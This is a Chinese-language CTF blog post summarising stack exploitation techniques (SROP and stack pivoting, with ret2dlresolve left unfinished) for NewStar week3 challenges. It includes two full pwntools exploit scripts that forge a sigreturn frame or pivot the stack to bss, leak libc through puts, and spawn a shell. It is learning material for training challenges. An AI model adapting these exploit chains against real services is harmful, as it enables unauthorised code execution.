Advanced Stack Summary

高档栈题的一点点总结

0x00 O.o

一般的0x00是废话环节

前段时间有一天突然有种水平上不去下不来的感觉, 水平说高不高说低不低, 很奇怪, 跟前辈聊了聊, wings给了个建议是做个总结, 一想, 也没什么坏处, 于是写几个高档的栈题的点, 大概是3个, 迁移, srop, ret2dlresolve.

癌症晚期了, 👴8💊当白银

后续应该还会加点别的, 毕竟栈题这一块还是有不少的小的东西, 例如一些好玩的fmt.

23.10.23:目前下面的题应该全是newstar week3的, week3的题很不错, 一道多次迁移, 一道srop, 一道rtdlr, 缺的营养这一块给补上来了, 饱饱的, 也正好是我写这个东西的原因

0x01 Srop

个人觉得是一个比较奇怪的东西😔

原理

主要利用signal机制, linux下一个程序中断的机制, 中断时, 内核为保存程序的上下文, 将所有寄存器信息入栈.

中断结束后, 内核将执行sigreturn系统调用, 根据之前入栈的信息将寄存器恢复, 由于该空间可写, 故可以被伪造, 并且由于内核将sigreturn的地址放在栈顶, 故利用时只需要将伪造的frame串放置于系统调用地址后方

其实这个地方不是很确定, 但是实际上很多情况下都是这么利用的, 应该就是因为实际上的frame就在那个地址的后方去达到伪造的作用的.

image.png

看过最近的几个题之后我觉得似乎确实就是这样的, 至于之前的题有可能出现不是紧邻, 感觉两种情况, 1是题的情况不同要具体分析, 2是我是个猪鼻没看明白

由于功能非常强大, 故只要有syscall, 有/bin/sh串 的地址, 可以构造出一次调用, 即可随意getshell, .并且如果一次不能getshell的话, 可以随意控制sp ip寄存器, 不必担心例如迁移, 初始化等等导致的栈环境变化, 这便导致了这种方法的杀伤力非常之强.

上周newstar里面的srop相对来说比较简单, 小移一次bp多构造一次read输入到可控的bss段即可.

然后上周这个猪鼻因为frame里面系统调用号写成0x59以至于卡了半个晚上跑了, 我自己觉得是有点难绷的

如果要多次利用, 将ip的位置指向syscall ret即可, 应该syscall函数也是可以的(我不知道我没试过), 总之pop一步ip将sp(也就是下一个构造好的sropframe地址)pop进ip即可.

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
from LibcSearcher import *
context(arch='amd64',os='linux',)
#context(log_level='debug')
r=process("./srop")
#r=remote("node4.buuoj.cn",26990)
elf=ELF("./srop")
#libc=ELF("./libc-2.23.so")

def debug():
gdb.attach(r)
pause()

syscall=0x401040
bss=0x404500
leave=0x401171
rdiret=0x401203

srop1=SigreturnFrame()
srop1.rdi=59
srop1.rsi=bss-0x30
srop1.rdx=0
srop1.rcx=0
srop1.rsp=bss
srop1.rip=syscall

#debug()
payload=b'a'*0x30+p64(bss)+p64(leave)
r.sendline(payload)

#debug()
payload=b"/bin/sh\x00"+b'a'*0x30+p64(rdiret)+p64(15)+p64(syscall)+bytes(srop1)
r.sendline(payload)
r.interactive()

感觉机制比较奇怪, 但是可能实际用起来意外的好用, 不是很懂你们内核的机制

0x02 Migration

这个知识点其实困扰了我个人很久, 因为迁移前后栈环境似乎会有很多微小的变化, 并且对于这种方法我始终有一种别扭的感觉在里面, 一到多次迁移就可能会在sp或者哪里出一些莫名其妙的问题.

原理

原理感觉很简单, 主要利用函数调用结束的一些规矩, rop实际在leave ret时发挥作用, 但是如果在栈空间过小以至于只够溢出不够使用时, 普遍使用重复leave ret将sp和bp拉走, 迁移到我们想要的位置, 诸如bss段/已知栈地址.

这是比较好懂的, 但是实际应用过程并不是很简单的在后面加一步leave ret, 很多时候输入次数不够, 常常选择先将bp拉走, 根据缓冲区以bp寻址的特点迁移布栈, 最后布栈完成一步leave ret将ip拉来开始执行.

例题有说是newstar week3的题.

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *
from LibcSearcher import *
context(arch='amd64',os='linux')
#context(log_level='debug')
r=process("./mig")
#r=remote("node4.buuoj.cn",26990)
elf=ELF("./mig")
#libc=ELF("./libc-2.23.so")

def debug():
gdb.attach(r)
pause()

putsplt=elf.plt["puts"]
putsgot=elf.got["puts"]
bss=elf.bss()+0xa00
rdiret=0x4012b3
rbpret=0x40115d
leaveret=0x401227
ret=0x40101a
read=0x4011f3

print(hex(bss))
r.recvuntil("me:")
payload=b'a'*0x50+p64(bss)+p64(read)
r.send(payload)

#debug()
r.recvuntil("me:")
payload=p64(rdiret)+p64(putsgot)+p64(putsplt)+p64(rbpret)+p64(bss+0x100)+p64(read)+b'a'*0x20
payload+=p64(bss-0x58)+p64(leaveret)
r.send(payload)

putsaddr=u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc=LibcSearcher("puts",putsaddr)
libcbase=putsaddr-libc.dump("puts")
sysaddr=libcbase+libc.dump("system")
binshaddr=libcbase+libc.dump("str_bin_sh")

gdb.attach(r)
pause()
r.recvuntil("me:")
payload=p64(rdiret)+p64(binshaddr)+p64(sysaddr)
payload+=b'a'*0x38+p64(bss+0xa8)+p64(leaveret)

r.send(payload)

r.interactive()

有个点需要注意, 在后续过程中很有可能sp会因为调用函数的时候开栈帧被拉回来, 由于0x1000页对齐, bss段其实是很大一部分, 如果偏移写少了拉回来就挂掉了, 所以迁bss的时候普遍要往更高地址迁, 诸如这个0xa00.

这个题第一次迁移的时候要拉bp似乎也算是个特别的点.

0x03 ret2dlresolve

没怎么看懂, 过两天再看看往这补8🔨

为了这盘醋包的饺子, 但是今天有点晚了, 小🕊️一手

0x04 Others

week3的时候, 周一晚上做第二道题能通本地不能通远程, 找了一晚上原因也不知道是为什么, 然后写srop, 写完卡在奇怪的系统调用上, 当时没发现是0x59的调用号, 干脆跑了不做了, 然后这周搭博客+做一道vm+干了些别的事情就到今天, 倚着官方的wp从头到尾看了看自己没什么水平的栈, 突然意识到一个问题:

思维有点死, 例如那个srop我甚至没能想到多次利用程序已有的read输入, 做pwn原本应该多活跃一下思维去利用应有的东西的, 但是好像做的时候并没有想到可以拿一些片段性的程序出来用, 老毛病了, 再做题先晃晃脑袋.

栈迁移的先迁bp再寻址读入拉sp也是前段时间才学到的

不知道是不是做的题太少了, 还是最近就没怎么做这一类的灵活栈题, 堆题也没怎么做, 那我到底干啥了(x

除了学方法的同时, 感觉也要适当去哪里刷点题什么的, 最近要恢复刷各种比赛和buu, nss了.


Advanced Stack Summary
http://example.com/2023/10/22/Stack/
Author
Luo
Posted on
October 22, 2023
Updated on
October 23, 2023
Licensed under